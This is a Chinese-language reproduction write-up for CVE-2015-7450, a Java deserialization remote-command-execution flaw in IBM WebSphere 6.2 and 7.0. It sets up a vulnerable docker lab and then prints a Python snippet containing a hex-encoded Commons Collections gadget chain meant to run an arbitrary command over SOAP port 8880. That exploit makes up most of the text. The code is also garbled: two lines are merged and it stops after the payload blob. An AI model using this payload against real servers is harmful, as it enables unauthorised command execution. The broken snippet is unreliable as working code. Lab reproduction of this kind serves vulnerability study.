二、CVE-2015-7450

1.简介

Serialized-object interfaces in certain IBM analytics, business solutions, cognitive, IT infrastructure, and mobile and social products allow remote attackers to execute arbitrary commands via a crafted serialized Java object, related to the InvokerTransformer class in the Apache Commons Collections library.

2.版本

IBM Websphere Application Server 7.0

IBM Websphere Application Server 6.2

3.使用docker搭建环境

docker search WebSphere7
docker pull iscrosales/websphere7
docker run -d -p 9060:9060 -p 9043:9043 -p 8880:8880 -p 9080:9080 iscrosales/websphere7

4.漏洞复现

该反序列化漏洞发生位置在SOAP的通信端口8880，使用https发送XML格式数据。如果访问8880端口出现如下界面，则可能存在Java反序列化漏洞：

然后将构造的执行命令的payload通过base64编码后放在objectname节点中，通过https发送到服务器端，服务器端调用相应的执行函数，将结果发送给客户端，同样返回的数据也是经过base64编码的。

import base64
from binascii import unhexlifycommand = "执行的命令"
serObj = unhexlify("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400")
